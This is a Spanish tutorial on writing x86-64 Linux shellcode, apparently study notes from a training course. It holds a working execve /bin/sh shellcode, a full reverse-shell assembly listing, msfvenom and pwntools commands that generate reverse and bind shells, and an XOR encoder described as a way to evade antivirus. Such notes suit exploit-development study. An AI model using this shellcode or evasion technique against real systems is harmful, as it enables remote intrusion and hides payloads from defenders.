Skip to content

Shellcoding


¿Por qué shellcoding en ASM?

Cuando explotas un binario (buffer overflow, use-after-free, etc.), puedes inyectar shellcode directamente en memoria. El shellcode se ejecuta en el contexto del proceso víctima.

Ventajas vs payload en C:

  • No hay compilador que añada overhead
  • Control byte a byte del código máquina
  • Puedes optimizar para caber en buffers pequeños
  • Sin dependencias de libc en runtime

Herramientas del arsenal

pwntools — suite completa

bash
# Instalar
sudo pip3 install pwntools --break-system-packages

# ASM → shellcode hex
pwn asm 'mov al, 59' -c 'amd64'
# → b03b

# Shellcode hex → instrucciones
pwn disasm 'b03b4831d2' -c 'amd64'
# → mov al, 0x3b
# → xor rdx, rdx

# Ver shellcodes predefinidos
pwn shellcraft -l 'amd64.linux'

# Generar shellcode de /bin/sh
pwn shellcraft amd64.linux.sh
# → 6a6848b82f62696e2f2f2f73...

# Ejecutar shellcode directamente (test rápido)
pwn shellcraft amd64.linux.sh -r

Scripts fundamentales

shellcoder.py — extraer shellcode de binario

python
#!/usr/bin/python3
import sys
from pwn import *
context(os="linux", arch="amd64", log_level="error")

file = ELF(sys.argv[1])
shellcode = file.section(".text")
print(shellcode.hex())
print("%d bytes - Found NULL byte" % len(shellcode)) \
    if [i for i in shellcode if i == 0] \
    else print("%d bytes - No NULL bytes" % len(shellcode))

loader.py — ejecutar shellcode hex

python
#!/usr/bin/python3
import sys
from pwn import *
context(os="linux", arch="amd64", log_level="error")
run_shellcode(unhex(sys.argv[1])).interactive()

assembler.py — shellcode → ELF debuggeable

python
#!/usr/bin/python3
import sys, os, stat
from pwn import *
context(os="linux", arch="amd64", log_level="error")
ELF.from_bytes(unhex(sys.argv[1])).save(sys.argv[2])
os.chmod(sys.argv[2], stat.S_IEXEC)
bash
# Uso:
python3 shellcoder.py ./binario
python3 loader.py 'b03b4831d2...'
python3 assembler.py 'b03b4831d2...' output_elf
gdb -q ./output_elf
b *0x401000

Los 3 Requisitos del Shellcode

❶ Sin variables (no .data)

¿Por qué? El shellcode se inyecta solo en .text (código). No puedes referenciar .data porque no existe en el contexto donde se ejecuta.

Técnica A — String directo en registro (máx 8 bytes)

nasm
; Solo sirve para strings de ≤ 8 bytes
mov rsi, 'Academy!'    ; 8 chars = 8 bytes = 1 registro ✓

Técnica B — Push de chunks al stack (cualquier tamaño)

nasm
; "Hello HTB Academy!" = 18 bytes → 3 pushes de 8
; se mete en orden INVERSO (LIFO)
xor rbx, rbx
mov bx, 'y!'           ; chunk 3 (últimos chars)
push rbx
mov rbx, 'B Academ'    ; chunk 2
push rbx
mov rbx, 'Hello HT'   ; chunk 1 (primeros chars)
push rbx
mov rsi, rsp           ; rsi → "Hello HTB Academy!" en stack
; el stack lo ordena solo gracias al LIFO

¿Cómo funciona el stack con strings?

Push 'Hello HT' → stack:  [Hello HT]
Push 'B Academ' → stack:  [B Academ][Hello HT]
Push 'y!'       → stack:  [y!      ][B Academ][Hello HT]
                           ↑ rsp
rsi = rsp → apunta a 'y!...' NO, espera...

; IMPORTANTE: el stack crece hacia abajo
; lo último pusheado está en la dirección MÁS BAJA
; pero se lee de izquierda a derecha desde rsp:
; rsp → "Hello HTB Academy!\0"  ← correcto porque los pushes
; son en orden inverso al string

❷ Sin direcciones absolutas

¿Por qué? El shellcode puede cargarse en cualquier dirección de memoria. Una dirección absoluta como 0x402000 no existirá en el proceso víctima.

Solución: siempre usar labels o rip-relativo

nasm
;  Dirección absoluta — se rompe si cambia la base
call 0x401050

;  Label — nasm lo convierte a offset relativo automáticamente
call miFuncion

;  RIP-relativo — funciona con PIE y ASLR
lea rdi, [rel binsh]    ; rdi = rip + offset_calculado_por_nasm

Técnica para mov con direcciones

nasm
;  mov con dirección absoluta
mov rdi, 0x402000

; Poner string en el stack y usar rsp
push 0
mov rdi, '/bin//sh'
push rdi
mov rdi, rsp            ; rdi → dirección válida en stack

❸ Sin NULL bytes (0x00)

¿Por qué? C usa NULL como terminador de string. Si tu shellcode pasa por strcpy, gets u otras funciones de string, el 0x00 termina la copia y el shellcode queda truncado.

Causa más común — registros grandes con valores pequeños

nasm
;  Genera NULL bytes
mov rax, 1    ; → b8 01 00 00 00 (padding de 3 bytes nulos)
mov rdi, 1    ; → 48 bf 01 00 00 00 00 00 00 00 (7 bytes nulos!)
mov rdx, 18   ; → ba 12 00 00 00 00 00 00 00 00

;  Sin NULL bytes — subregistros
xor rax, rax  ; limpiar primero (sin null bytes: 48 31 c0)
mov al, 1     ; → b0 01 (solo 2 bytes, sin nulls ✓)
xor rdi, rdi
mov dil, 1
xor rdx, rdx
mov dl, 18

Verificar null bytes

bash
pwn asm 'mov rax, 1' -c 'amd64' | xxd
# b8 01 00 00 00  ← 3 null bytes 

pwn asm 'xor rax, rax; mov al, 1' -c 'amd64' | xxd
# 48 31 c0 b0 01  ← sin null bytes ✓

Shellcode de /bin/sh — paso a paso

Objetivo

c
execve("/bin//sh", ["/bin//sh", NULL], NULL)
// syscall 59: rax=59, rdi→"/bin//sh", rsi→argv, rdx=NULL

Versión con NULL bytes (NO funciona como shellcode)

nasm
global _start
section .text
_start:
    mov rax, 59         ; ← genera NULL bytes
    push 0              ; ← genera NULL bytes
    mov rdi, '/bin//sh'
    push rdi
    mov rdi, rsp
    push 0              ; ← NULL bytes
    push rdi
    mov rsi, rsp
    mov rdx, 0          ; ← NULL bytes
    syscall

Versión limpia (shellcode funcional)

nasm
global _start
section .text
_start:
    ; rax = 59 sin null bytes
    xor rax, rax
    mov al, 59          ; execve syscall number

    ; rdx = NULL (envp)
    xor rdx, rdx

    ; Construir "/bin//sh" en el stack
    push rdx            ; null terminator (rdx ya es 0, sin null bytes)
    mov rdi, '/bin//sh' ; 8 bytes exactos — encaja perfecto
    push rdi
    mov rdi, rsp        ; rdi → "/bin//sh\0"

    ; Construir argv = ["/bin//sh", NULL]
    push rdx            ; NULL (fin de argv)
    push rdi            ; puntero a "/bin//sh"
    mov rsi, rsp        ; rsi → [ptr_binsh, NULL]

    syscall             ; execve("/bin//sh", ["/bin//sh"], NULL)
bash
# Compilar y probar
nasm -f elf64 shell.s -o shell.o
ld shell.o -o shell
./shell             # debería darte una shell

# Extraer shellcode
python3 shellcoder.py ./shell
# b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05
# 27 bytes - No NULL bytes ✓

Shellcode de Reverse Shell — ejemplo completo

nasm
; Reverse shell: conecta a 127.0.0.1:4444
; shellcode sin null bytes

global _start
section .text
_start:
    ; ── socket(AF_INET=2, SOCK_STREAM=1, 0) ──
    xor rax, rax
    mov al, 41          ; socket syscall
    xor rdi, rdi
    mov dil, 2          ; AF_INET
    xor rsi, rsi
    mov sil, 1          ; SOCK_STREAM
    xor rdx, rdx        ; protocol=0
    syscall
    mov rbx, rax        ; guardar sockfd (rbx = callee-saved)

    ; ── connect(sockfd, &sockaddr, 16) ──
    ; struct sockaddr_in:
    ;   sin_family = AF_INET (2)
    ;   sin_port   = 4444 en big-endian = 0x5c11
    ;   sin_addr   = 127.0.0.1 = 0x0100007f
    xor rax, rax
    push rax            ; padding + parte de sin_addr
    push dword 0x0100007f  ; 127.0.0.1 (puede tener 00s — depende de IP)
    push word 0x5c11    ; puerto 4444
    push word 0x0002    ; AF_INET
    mov rsi, rsp        ; rsi → struct sockaddr_in
    mov rax, 42         ; connect syscall
    mov rdi, rbx        ; sockfd
    mov rdx, 16         ; sizeof sockaddr_in
    syscall

    ; ── dup2(sockfd, 0/1/2) — redirigir I/O ──
    xor rax, rax
    mov al, 33          ; dup2 syscall
    mov rdi, rbx        ; sockfd
    xor rsi, rsi        ; newfd = 0 (stdin)
    syscall
    mov al, 33
    mov rdi, rbx
    mov sil, 1          ; newfd = 1 (stdout)
    syscall
    mov al, 33
    mov rdi, rbx
    mov sil, 2          ; newfd = 2 (stderr)
    syscall

    ; ── execve("/bin//sh") ──
    xor rdx, rdx
    push rdx
    mov rdi, '/bin//sh'
    push rdi
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 59
    syscall

Shellcoding Tools

msfvenom — generar y encodear

bash
# Listar payloads Linux x64
msfvenom -l payloads | grep 'linux/x64'

# Generar shell shellcode
msfvenom -p linux/x64/exec CMD='sh' -a x64 -platform linux -f hex

# Generar reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f hex

# Encodear para evadir AV (XOR encoder)
msfvenom -p linux/x64/exec CMD='sh' -a x64 -platform linux -f hex -e x64/xor

# Encodear tu propio shellcode
python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('TU_SHELLCODE'))" > shell.bin
msfvenom -p - -a x64 -platform linux -f hex -e x64/xor < shell.bin

shellcraft — pwntools

python
from pwn import *
context(os="linux", arch="amd64", log_level="error")

# /bin/sh simple
sc = shellcraft.sh()
print(asm(sc).hex())

# execve con argumentos
sc = shellcraft.execve('/bin/sh', ['/bin/sh'])
print(asm(sc).hex())

# read flag y escribirlo a stdout
sc = shellcraft.cat('/flag')
print(asm(sc).hex())

# bind shell en puerto 4444
sc = shellcraft.bindsh(4444, 'ipv4')
print(asm(sc).hex())

# reverse shell
sc = shellcraft.connect('127.0.0.1', 4444) + shellcraft.dupsh()
print(asm(sc).hex())

Técnicas de Evasión

XOR Encoder manual

nasm
; El shellcode se guarda encriptado en el binario
; Solo se desencripta en memoria al ejecutarse

section .text
_start:
    ; decodificador
    lea rdi, [rel shellcode_enc]    ; puntero al shellcode encriptado
    xor rcx, rcx
    mov cl, shellcode_len           ; tamaño
    xor al, al
    mov al, 0x41                    ; clave XOR
decode:
    xor byte [rdi], al              ; desencriptar byte
    inc rdi
    loop decode
    ; ejecutar shellcode desencriptado
    lea rdi, [rel shellcode_enc]
    jmp rdi

shellcode_enc:
    ; aquí van los bytes del shellcode XOR-eados con 0x41
    ; generados con: for b in shellcode: print(b ^ 0x41)
    db 0xF1, 0x7A, ...

shellcode_len equ $ - shellcode_enc

Null byte alternatives

nasm
; En vez de push 0 (puede generar 00):
xor rax, rax
push rax            ; push de registro que ya es 0 ✓

; En vez de mov rax, 0:
xor rax, rax        ✓

; En vez de mov rdx, 0:
xor rdx, rdx        ✓

; Para el número 256 (0x100 — tiene 00):
xor rax, rax
mov ax, 0x100       ; solo 2 bytes, sin null bytes internos
; → 66 b8 00 01 — tiene 00 en ax... alternativa:
xor rcx, rcx
inc rcx
shl rcx, 8          ; rcx = 256 sin usar 0x100 directo

Flujo completo de desarrollo de shellcode

1. Escribir en ASM normal primero (con variables, sin preocuparse)
2. Compilar y probar que funciona
3. Extraer con shellcoder.py — ver si hay NULL bytes
4. Aplicar los 3 requisitos:
   - Mover strings al stack
   - Cambiar call 0xaddr por call label
   - Cambiar mov reg, val por xor+mov subregistro
5. Recompilar y volver a extraer
6. Verificar "No NULL bytes"
7. Probar con loader.py
8. Si falla, debuggear con assembler.py + gdb

Comandos de verificación rápida:
  pwn asm 'instrucción' -c 'amd64' | xxd | grep ' 00'  ← buscar null bytes
  python3 shellcoder.py ./binario                        ← extraer y verificar
  python3 loader.py 'hex_shellcode'                      ← ejecutar y probar